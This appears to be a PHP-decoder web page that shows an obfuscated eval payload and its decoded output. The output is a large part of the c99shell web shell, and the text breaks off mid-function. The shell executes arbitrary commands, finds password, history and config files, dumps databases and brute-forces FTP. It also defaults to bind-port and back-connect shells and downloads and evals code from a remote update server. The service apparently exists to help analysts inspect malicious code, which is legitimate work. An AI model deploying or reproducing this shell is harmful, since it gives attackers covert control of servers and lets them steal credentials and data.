Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode('HJ3HrqvclkZfpXr1SzTISbqqKzA559S5IgcTTebpi30bR9rS8faGteb85..

Decoded Output download

?><?php 
//Starting calls 
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} 
error_reporting(5); 
@ignore_user_abort(TRUE); 
@set_magic_quotes_runtime(0); 
$win = strtolower(substr(PHP_OS,0,3)) == "win"; 
define("starttime",getmicrotime()); 
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} 
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); 
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} 

$shver = "1.0 pre-release build #16"; //Current version 
//CONFIGURATION AND SETTINGS 
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} 
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} 
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL 
} 

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. 

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} 
if (empty($surl)) 
{ 
$surl = "?".$includestr; //Self url 
} 
$surl = htmlspecialchars($surl); 

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. 

//Authentication 
$login = ""; //login 
//DON'T FORGOT ABOUT PASSWORD!!! 
$pass = ""; //password 
$md5_pass = ""; //md5-cryped pass. if null, md5($pass) 

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") 
$login_txt = "Restricted area"; //http-auth message. 
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; 

$gzipencode = TRUE; //Encode with gzip? 

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) 

$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server 
$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server 

$filestealth = TRUE; //if TRUE, don't change modify- and access-time 

$donated_html = "<center><b>Owned by hacker</b></center>"; 
/* If you publish free shell and you wish 
add link to your site or any other information, 
put here your html. */ 
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. 

$curdir = "./"; //start folder 
//$curdir = getenv("DOCUMENT_ROOT"); 
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) 
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) 

$log_email = "[email protected]"; //

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending 
$sort_save = TRUE; //If TRUE then save sorting-position using cookies. 

// Registered file-types. 
//  array( 
//   "{action1}"=>array("ext1","ext2","ext3",...), 
//   "{action2}"=>array("ext4","ext5","ext6",...), 
//   ... 
//  ) 
$ftypes  = array( 
"html"=>array("html","htm","shtml"), 
"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), 
"exe"=>array("sh","install","bat","cmd"), 
"ini"=>array("ini","inf"), 
"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), 
"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), 
"sdb"=>array("sdb"), 
"phpsess"=>array("sess"), 
"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") 
); 

// Registered executable file-types. 
//  array( 
//   string "command{i}"=>array("ext1","ext2","ext3",...), 
//   ... 
//  ) 
//   {command}: %f% = filename 
$exeftypes  = array( 
getenv("PHPRC")." -q %f%" => array("php","php3","php4"), 
"perl %f%" => array("pl","cgi") 
); 

/* Highlighted files. 
  array( 
   i=>array({regexp},{type},{opentag},{closetag},{break}) 
   ... 
  ) 
  string {regexp} - regular exp. 
  int {type}: 
0 - files and folders (as default), 
1 - files only, 2 - folders only 
  string {opentag} - open html-tag, e.g. "<b>" (default) 
  string {closetag} - close html-tag, e.g. "</b>" (default) 
  bool {break} - if TRUE and found match then break 
*/ 
$regxp_highlight  = array( 
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example 
  array("config.php",1) // example 
); 

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. 
// array (i=>{letter} ...); string {letter} - letter of a drive 
//$safemode_diskettes = range("a","z"); 
$hexdump_lines = 8;// lines in hex preview file 
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line 

$nixpwdperpage = 100; // Get first N lines from /etc/passwd 

$bindport_pass = "c99";  // default password for binding 
$bindport_port = "31373"; // default port for binding 
$bc_port = "31373"; // default port for back-connect 
$datapipe_localport = "8081"; // default port for datapipe 

// Command-aliases 
if (!$win) 
{ 
$cmdaliases = array( 
  array("-----------------------------------------------------------", "ls -la"), 
  array("find all suid files", "find / -type f -perm -04000 -ls"), 
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"), 
  array("find all sgid files", "find / -type f -perm -02000 -ls"), 
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), 
  array("find config.inc.php files", "find / -type f -name config.inc.php"), 
  array("find config* files", "find / -type f -name \"config*\""), 
  array("find config* files in current dir", "find . -type f -name \"config*\""), 
  array("find all writable folders and files", "find / -perm -2 -ls"), 
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"), 
  array("find all service.pwd files", "find / -type f -name service.pwd"), 
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"), 
  array("find all .htpasswd files", "find / -type f -name .htpasswd"), 
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), 
  array("find all .bash_history files", "find / -type f -name .bash_history"), 
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"), 
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), 
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), 
  array("list file attributes on a Linux second extended file system", "lsattr -va"), 
  array("show opened ports", "netstat -an | grep -i listen") 
); 
} 
else 
{ 
$cmdaliases = array( 
  array("-----------------------------------------------------------", "dir"), 
  array("show opened ports", "netstat -an") 
); 
} 

$sess_cookie = "c99shvars"; // Cookie-variable name 

$usefsbuff = TRUE; //Buffer-function 
$copy_unset = FALSE; //Remove copied files from buffer after pasting 

//Quick launch 
$quicklaunch = array( 
array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), 
array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), 
array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), 
array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), 
array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), 
array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), 
array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), 
array("<b>Encoder</b>",$surl."act=encoder&d=%d"), 
array("<b>Tools</b>",$surl."act=tools&d=%d"), 
array("<b>Proc.</b>",$surl."act=processes&d=%d"), 
array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), 
array("<b>Sec.</b>",$surl."act=security&d=%d"), 
array("<b>SQL</b>",$surl."act=sql&d=%d"), 
array("<b>PHP-code</b>",$surl."act=eval&d=%d"), 
array("<b>Update</b>",$surl."act=update&d=%d"), 
array("<b>Feedback</b>",$surl."act=feedback&d=%d"), 
array("<b>Self remove</b>",$surl."act=selfremove"), 
array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") 
); 

//Highlight-code colors 
$highlight_background = "#c0c0c0"; 
$highlight_bg = "#FFFFFF"; 
$highlight_comment = "#6A6A6A"; 
$highlight_default = "#0000BB"; 
$highlight_html = "#1300FF"; 
$highlight_keyword = "#007700"; 
$highlight_string = "#000000"; 

@$f = $_REQUEST["f"]; 
@extract($_REQUEST["c99shcook"]); 

//END CONFIGURATION 


// \/Next code isn't for editing\/ 
@set_time_limit(0); 
$tmp = array(); 
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\*",".*",preg_quote($v));} 
$s = "!^(".implode("|",$tmp).")$!i"; 
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} 
if (!empty($login)) 
{ 
if (empty($md5_pass)) {$md5_pass = md5($pass);} 
if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) 
{ 
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} 
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); 
  header("HTTP/1.0 401 Unauthorized"); 
  exit($accessdeniedmess); 
} 
} 
if ($act != "img") 
{ 
$lastdir = realpath("."); 
chdir($curdir); 
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} 
$sess_data = unserialize($_COOKIE["$sess_cookie"]); 
if (!is_array($sess_data)) {$sess_data = array();} 
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} 
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} 

$disablefunc = @ini_get("disable_functions"); 
if (!empty($disablefunc)) 
{ 
$disablefunc = str_replace(" ","",$disablefunc); 
$disablefunc = explode(",",$disablefunc); 
} 

if (!function_exists("c99_buff_prepare")) 
{ 
function c99_buff_prepare() 
{ 
global $sess_data; 
global $act; 
foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} 
foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));} 
$sess_data["copy"] = array_unique($sess_data["copy"]); 
$sess_data["cut"] = array_unique($sess_data["cut"]); 
sort($sess_data["copy"]); 
sort($sess_data["cut"]); 
if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} 
else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} 
} 
} 
c99_buff_prepare(); 
if (!function_exists("c99_sess_put")) 
{ 
function c99_sess_put($data) 
{ 
global $sess_cookie; 
global $sess_data; 
c99_buff_prepare(); 
$sess_data = $data; 
$data = serialize($data); 
setcookie($sess_cookie,$data); 
} 
} 
foreach (array("sort","sql_sort") as $v) 
{ 
if (!empty($_GET[$v])) {$$v = $_GET[$v];} 
if (!empty($_POST[$v])) {$$v = $_POST[$v];} 
} 
if ($sort_save) 
{ 
if (!empty($sort)) {setcookie("sort",$sort);} 
if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} 
} 
if (!function_exists("str2mini")) 
{ 
function str2mini($content,$len) 
{ 
if (strlen($content) > $len) 
{ 
  $len = ceil($len/2) - 2; 
  return substr($content, 0,$len)."...".substr($content,-$len); 
} 
else {return $content;} 
} 
} 
if (!function_exists("view_size")) 
{ 
function view_size($size) 
{ 
if (!is_numeric($size)) {return FALSE;} 
else 
{ 
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} 
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} 
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} 
  else {$size = $size . " B";} 
  return $size; 
} 
} 
} 
if (!function_exists("fs_copy_dir")) 
{ 
function fs_copy_dir($d,$t) 
{ 
$d = str_replace("\",DIRECTORY_SEPARATOR,$d); 
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
$h = opendir($d); 
while (($o = readdir($h)) !== FALSE) 
{ 
  if (($o != ".") and ($o != "..")) 
  { 
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
   if (!$ret) {return $ret;} 
  } 
} 
closedir($h); 
return TRUE; 
} 
} 
if (!function_exists("fs_copy_obj")) 
{ 
function fs_copy_obj($d,$t) 
{ 
$d = str_replace("\",DIRECTORY_SEPARATOR,$d); 
$t = str_replace("\",DIRECTORY_SEPARATOR,$t); 
if (!is_dir(dirname($t))) {mkdir(dirname($t));} 
if (is_dir($d)) 
{ 
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} 
  return fs_copy_dir($d,$t); 
} 
elseif (is_file($d)) {return copy($d,$t);} 
else {return FALSE;} 
} 
} 
if (!function_exists("fs_move_dir")) 
{ 
function fs_move_dir($d,$t) 
{ 
$h = opendir($d); 
if (!is_dir($t)) {mkdir($t);} 
while (($o = readdir($h)) !== FALSE) 
{ 
  if (($o != ".") and ($o != "..")) 
  { 
   $ret = TRUE; 
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} 
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} 
   if (!$ret) {return $ret;} 
  } 
} 
closedir($h); 
return TRUE; 
} 
} 
if (!function_exists("fs_move_obj")) 
{ 
function fs_move_obj($d,$t) 
{ 
$d = str_replace("\",DIRECTORY_SEPARATOR,$d); 
$t = str_replace("\",DIRECTORY_SEPARATOR,$t); 
if (is_dir($d)) 
{ 
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} 
  return fs_move_dir($d,$t); 
} 
elseif (is_file($d)) 
{ 
  if(copy($d,$t)) {return unlink($d);} 
  else {unlink($t); return FALSE;} 
} 
else {return FALSE;} 
} 
} 
if (!function_exists("fs_rmdir")) 
{ 
function fs_rmdir($d) 
{ 
$h = opendir($d); 
while (($o = readdir($h)) !== FALSE) 
{ 
  if (($o != ".") and ($o != "..")) 
  { 
   if (!is_dir($d.$o)) {unlink($d.$o);} 
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} 
  } 
} 
closedir($h); 
rmdir($d); 
return !is_dir($d); 
} 
} 
if (!function_exists("fs_rmobj")) 
{ 
function fs_rmobj($o) 
{ 
$o = str_replace("\",DIRECTORY_SEPARATOR,$o); 
if (is_dir($o)) 
{ 
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} 
  return fs_rmdir($o); 
} 
elseif (is_file($o)) {return unlink($o);} 
else {return FALSE;} 
} 
} 
if (!function_exists("myshellexec")) 
{ 
function myshellexec($cmd) 
{ 
global $disablefunc; 
$result = ""; 
if (!empty($cmd)) 
{ 
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("
",$result);} 
  elseif (($result = `$cmd`) !== FALSE) {} 
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} 
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} 
  elseif (is_resource($fp = popen($cmd,"r"))) 
  { 
   $result = ""; 
   while(!feof($fp)) {$result .= fread($fp,1024);} 
   pclose($fp); 
  } 
} 
return $result; 
} 
} 
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} 
if (!function_exists("view_perms")) 
{ 
function view_perms($mode) 
{ 
if (($mode & 0xC000) === 0xC000) {$type = "s";} 
elseif (($mode & 0x4000) === 0x4000) {$type = "d";} 
elseif (($mode & 0xA000) === 0xA000) {$type = "l";} 
elseif (($mode & 0x8000) === 0x8000) {$type = "-";} 
elseif (($mode & 0x6000) === 0x6000) {$type = "b";} 
elseif (($mode & 0x2000) === 0x2000) {$type = "c";} 
elseif (($mode & 0x1000) === 0x1000) {$type = "p";} 
else {$type = "?";} 

$owner["read"] = ($mode & 00400)?"r":"-"; 
$owner["write"] = ($mode & 00200)?"w":"-"; 
$owner["execute"] = ($mode & 00100)?"x":"-"; 
$group["read"] = ($mode & 00040)?"r":"-"; 
$group["write"] = ($mode & 00020)?"w":"-"; 
$group["execute"] = ($mode & 00010)?"x":"-"; 
$world["read"] = ($mode & 00004)?"r":"-"; 
$world["write"] = ($mode & 00002)? "w":"-"; 
$world["execute"] = ($mode & 00001)?"x":"-"; 

if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} 
if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} 
if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} 

return $type.join("",$owner).join("",$group).join("",$world); 
} 
} 
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} 
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} 
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} 
if (!function_exists("parse_perms")) 
{ 
function parse_perms($mode) 
{ 
if (($mode & 0xC000) === 0xC000) {$t = "s";} 
elseif (($mode & 0x4000) === 0x4000) {$t = "d";} 
elseif (($mode & 0xA000) === 0xA000) {$t = "l";} 
elseif (($mode & 0x8000) === 0x8000) {$t = "-";} 
elseif (($mode & 0x6000) === 0x6000) {$t = "b";} 
elseif (($mode & 0x2000) === 0x2000) {$t = "c";} 
elseif (($mode & 0x1000) === 0x1000) {$t = "p";} 
else {$t = "?";} 
$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; 
$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; 
$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; 
return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); 
} 
} 
if (!function_exists("parsesort")) 
{ 
function parsesort($sort) 
{ 
$one = intval($sort); 
$second = substr($sort,-1); 
if ($second != "d") {$second = "a";} 
return array($one,$second); 
} 
} 
if (!function_exists("view_perms_color")) 
{ 
function view_perms_color($o) 
{ 
if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} 
elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} 
else {return "<font color=green>".view_perms(fileperms($o))."</font>";} 
} 
} 
if (!function_exists("c99getsource")) 
{ 
function c99getsource($fn) 
{ 
global $c99sh_sourcesurl; 
$array = array( 
  "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", 
  "c99sh_bindport.c" => "c99sh_bindport_c.txt", 
  "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", 
  "c99sh_backconn.c" => "c99sh_backconn_c.txt", 
  "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", 
  "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", 
); 
$name = $array[$fn]; 
if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} 
else {return FALSE;} 
} 
} 
if (!function_exists("c99sh_getupdate")) 
{ 
function c99sh_getupdate($update = TRUE) 
{ 
$url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; 
$data = @file_get_contents($url); 
if (!$data) {return "Can't connect to update-server!";} 
else 
{ 
  $data = ltrim($data); 
  $string = substr($data,3,ord($data{2})); 
  if ($data{0} == "" and $data{1} == "") {return "Error: ".$string; return FALSE;} 
  if ($data{0} == "" and $data{1} == "") {return "You are using latest version!";} 
  if ($data{0} == "" and $data{1} == "") 
  { 
   $string = explode("",$string); 
   if ($update) 
   { 
    $confvars = array(); 
    $sourceurl = $string[0]; 
    $source = file_get_contents($sourceurl); 
    if (!$source) {return "Can't fetch update!";} 
    else 
    { 
     $fp = fopen(__FILE__,"w"); 
     if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} 
     else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} 
    } 
   } 
   else {return "New version are available: ".$string[1];} 
  } 
  elseif ($data{0} == "" and $data{1} == "") {eval($string); return 1;} 
  else {return "Error in protocol: segmentation failed! (".$data.") ";} 
} 
} 
} 
if (!function_exists("mysql_dump")) 
{ 
function mysql_dump($set) 
{ 
global $shver; 
$sock = $set["sock"]; 
$db = $set["db"]; 
$print = $set["print"]; 
$nl2br = $set["nl2br"]; 
$file = $set["file"]; 
$add_drop = $set["add_drop"]; 
$tabs = $set["tabs"]; 
$onlytabs = $set["onlytabs"]; 
$ret = array(); 
$ret["err"] = array(); 
if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} 
if (empty($db)) {$db = "db";} 
if (empty($print)) {$print = 0;} 
if (empty($nl2br)) {$nl2br = 0;} 
if (empty($add_drop)) {$add_drop = TRUE;} 
if (empty($file)) 
{ 
  $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; 
} 
if (!is_array($tabs)) {$tabs = array();} 
if (empty($add_drop)) {$add_drop = TRUE;} 
if (sizeof($tabs) == 0) 
{ 
  // retrive tables-list 
  $res = mysql_query("SHOW TABLES FROM ".$db, $sock); 
  if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} 
} 
$out = "# Dumped by C99Shell.SQL v. ".$shver." 
# Home page: http://ccteam.ru 
# 
# Host settings: 
# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." 
# Date: ".date("d.m.Y H:i:s")." 
# DB: \"".$db."\" 
#--------------------------------------------------------- 
"; 
$c = count($onlytabs); 
foreach($tabs as $tab) 
{ 
  if ((in_array($tab,$onlytabs)) or (!$c)) 
  { 
   if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";} 
   // recieve query for create table structure 
   $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); 
   if (!$res) {$ret["err"][] = mysql_smarterror();} 
   else 
   { 
    $row = mysql_fetch_row($res); 
    $out .= $row["1"].";

"; 
    // recieve table variables 
    $res = mysql_query("SELECT * FROM `$tab`", $sock); 
    if (mysql_num_rows($res) > 0) 
    { 
     while ($row = mysql_fetch_assoc($res)) 
     { 
      $keys = implode("`, `", array_keys($row)); 
      $values = array_values($row); 
      foreach($values as $k=>$v) {$values[$k] = addslashes($v);} 
      $values = implode("', '", $values); 
      $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');
"; 
      $out .= $sql; 
     } 
    } 
   } 
  } 
} 
$out .= "#---------------------------------------------------------------------------------

"; 
if ($file) 
{ 
  $fp = fopen($file, "w"); 
  if (!$fp) {$ret["err"][] = 2;} 
  else 
  { 
   fwrite ($fp, $out); 
   fclose ($fp); 
  } 
} 
if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} 
return $out; 
} 
} 
if (!function_exists("mysql_buildwhere")) 
{ 
function mysql_buildwhere($array,$sep=" and",$functs=array()) 
{ 
if (!is_array($array)) {$array = array();} 
$result = ""; 
foreach($array as $k=>$v) 
{ 
  $value = ""; 
  if (!empty($functs[$k])) {$value .= $functs[$k]."(";} 
  $value .= "'".addslashes($v)."'"; 
  if (!empty($functs[$k])) {$value .= ")";} 
  $result .= "`".$k."` = ".$value.$sep; 
} 
$result = substr($result,0,strlen($result)-strlen($sep)); 
return $result; 
} 
} 
if (!function_exists("mysql_fetch_all")) 
{ 
function mysql_fetch_all($query,$sock) 
{ 
if ($sock) {$result = mysql_query($query,$sock);} 
else {$result = mysql_query($query);} 
$array = array(); 
while ($row = mysql_fetch_array($result)) {$array[] = $row;} 
mysql_free_result($result); 
return $array; 
} 
} 
if (!function_exists("mysql_smarterror")) 
{ 
function mysql_smarterror($type,$sock) 
{ 
if ($sock) {$error = mysql_error($sock);} 
else {$error = mysql_error();} 
$error = htmlspecialchars($error); 
return $error; 
} 
} 
if (!function_exists("mysql_query_form")) 
{ 
function mysql_query_form() 
{ 
global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; 
if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} 
if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} 
if ((!$submit) or ($sql_act)) 
{ 
  echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; 
  if ($tbl_struct) 
  { 
   echo "<td valign=\"top\"><b>Fields:</b><br>"; 
   foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} 
   echo "</td></tr></table>"; 
  } 
} 
if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} 
} 
} 
if (!function_exists("mysql_create_db")) 
{ 
function mysql_create_db($db,$sock="") 
{ 
$sql = "CREATE DATABASE `".addslashes($db)."`;"; 
if ($sock) {return mysql_query($sql,$sock);} 
else {return mysql_query($sql);} 
} 
} 
if (!function_exists("mysql_query_parse")) 
{ 
function mysql_query_parse($query) 
{ 
$query = trim($query); 
$arr = explode (" ",$query); 
/*array array() 
{ 
  "METHOD"=>array(output_type), 
  "METHOD1"... 
  ... 
} 
if output_type == 0, no output, 
if output_type == 1, no output if no error 
if output_type == 2, output without control-buttons 
if output_type == 3, output with control-buttons 
*/ 
$types = array( 
  "SELECT"=>array(3,1), 
  "SHOW"=>array(2,1), 
  "DELETE"=>array(1), 
  "DROP"=>array(1) 
); 
$result = array(); 
$op = strtoupper($arr[0]); 
if (is_array($types[$op])) 
{ 
  $result["propertions"] = $types[$op]; 
  $result["query"]  = $query; 
  if ($types[$op] == 2) 
  { 
   foreach($arr as $k=>$v) 
   { 
    if (strtoupper($v) == "LIMIT") 
    { 
     $result["limit"] = $arr[$k+1]; 
     $result["limit"] = explode(",",$result["limit"]); 
     if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} 
     unset($arr[$k],$arr[$k+1]); 
    } 
   } 
  } 
} 
else {return FALSE;} 
} 
} 
if (!function_exists("c99fsearch")) 
{ 
function c99fsearch($d) 
{ 
global $found; 
global $found_d; 
global $found_f; 
global $search_i_f; 
global $search_i_d; 
global $a; 
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} 
$h = opendir($d); 
while (($f = readdir($h)) !== FALSE) 
{ 
  if($f != "." && $f != "..") 
  { 
   $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); 
   if (is_dir($d.$f)) 
   { 
    $search_i_d++; 
    if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} 
    if (!is_link($d.$f)) {c99fsearch($d.$f);} 
   } 
   else 
   { 
    $search_i_f++; 
    if ($bool) 
    { 
